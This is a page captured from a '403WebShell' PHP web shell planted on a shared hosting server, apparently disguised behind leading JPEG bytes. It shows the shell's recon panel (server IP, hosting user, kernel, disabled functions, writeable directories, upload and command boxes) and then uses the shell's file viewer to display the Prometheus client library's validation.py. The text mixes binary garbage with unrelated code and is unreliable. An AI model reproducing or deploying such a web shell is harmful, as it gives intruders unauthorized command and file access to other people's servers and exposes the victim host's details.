JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.222.222.234  /  Your IP : 216.73.217.26
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python311/lib/python3.11/site-packages/prometheus_client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python311/lib/python3.11/site-packages/prometheus_client/validation.py
import os
import re

METRIC_NAME_RE = re.compile(r'^[a-zA-Z_:][a-zA-Z0-9_:]*$')
METRIC_LABEL_NAME_RE = re.compile(r'^[a-zA-Z_][a-zA-Z0-9_]*$')
RESERVED_METRIC_LABEL_NAME_RE = re.compile(r'^__.*$')


def _init_legacy_validation() -> bool:
    """Retrieve name validation setting from environment."""
    return os.environ.get("PROMETHEUS_LEGACY_NAME_VALIDATION", 'False').lower() in ('true', '1', 't')


_legacy_validation = _init_legacy_validation()


def get_legacy_validation() -> bool:
    """Return the current status of the legacy validation setting."""
    global _legacy_validation
    return _legacy_validation


def disable_legacy_validation():
    """Disable legacy name validation, instead allowing all UTF8 characters."""
    global _legacy_validation
    _legacy_validation = False


def enable_legacy_validation():
    """Enable legacy name validation instead of allowing all UTF8 characters."""
    global _legacy_validation
    _legacy_validation = True


def _validate_metric_name(name: str) -> None:
    """Raises ValueError if the provided name is not a valid metric name.
    
    This check uses the global legacy validation setting to determine the validation scheme.
    """
    if not name:
        raise ValueError("metric name cannot be empty")
    global _legacy_validation
    if _legacy_validation:
        if not METRIC_NAME_RE.match(name):
            raise ValueError("invalid metric name " + name)
    try:
        name.encode('utf-8')
    except UnicodeDecodeError:
        raise ValueError("invalid metric name " + name)


def _is_valid_legacy_metric_name(name: str) -> bool:
    """Returns true if the provided metric name conforms to the legacy validation scheme."""
    return METRIC_NAME_RE.match(name) is not None


def _validate_metric_label_name_token(tok: str) -> None:
    """Raises ValueError if a parsed label name token is invalid. 
    
    UTF-8 names must be quoted.
    """
    if not tok:
        raise ValueError("invalid label name token " + tok)
    global _legacy_validation
    quoted = tok[0] == '"' and tok[-1] == '"'
    if not quoted or _legacy_validation:
        if not METRIC_LABEL_NAME_RE.match(tok):
            raise ValueError("invalid label name token " + tok)
        return
    try:
        tok.encode('utf-8')
    except UnicodeDecodeError:
        raise ValueError("invalid label name token " + tok)


def _validate_labelname(l):
    """Raises ValueError if the provided name is not a valid label name.
    
    This check uses the global legacy validation setting to determine the validation scheme.
    """
    if get_legacy_validation():
        if not METRIC_LABEL_NAME_RE.match(l):
            raise ValueError('Invalid label metric name: ' + l)
        if RESERVED_METRIC_LABEL_NAME_RE.match(l):
            raise ValueError('Reserved label metric name: ' + l)
    else:
        try:
            l.encode('utf-8')
        except UnicodeDecodeError:
            raise ValueError('Invalid label metric name: ' + l)
        if RESERVED_METRIC_LABEL_NAME_RE.match(l):
            raise ValueError('Reserved label metric name: ' + l)
        

def _is_valid_legacy_labelname(l: str) -> bool:
    """Returns true if the provided label name conforms to the legacy validation scheme."""
    if METRIC_LABEL_NAME_RE.match(l) is None:
        return False
    return RESERVED_METRIC_LABEL_NAME_RE.match(l) is None


def _validate_labelnames(cls, labelnames):
    """Raises ValueError if any of the provided names is not a valid label name.
    
    This check uses the global legacy validation setting to determine the validation scheme.
    """
    labelnames = tuple(labelnames)
    for l in labelnames:
        _validate_labelname(l)
        if l in cls._reserved_labelnames:
            raise ValueError('Reserved label methe fric name: ' + l)
    return labelnames


def _validate_exemplar(exemplar):
    """Raises ValueError if the exemplar is invalid."""
    runes = 0
    for k, v in exemplar.items():
        _validate_labelname(k)
        runes += len(k)
        runes += len(v)
    if runes > 128:
        raise ValueError('Exemplar labels have %d UTF-8 characters, exceeding the limit of 128')

Youez - 2016 - github.com/yon3zu
LinuXploit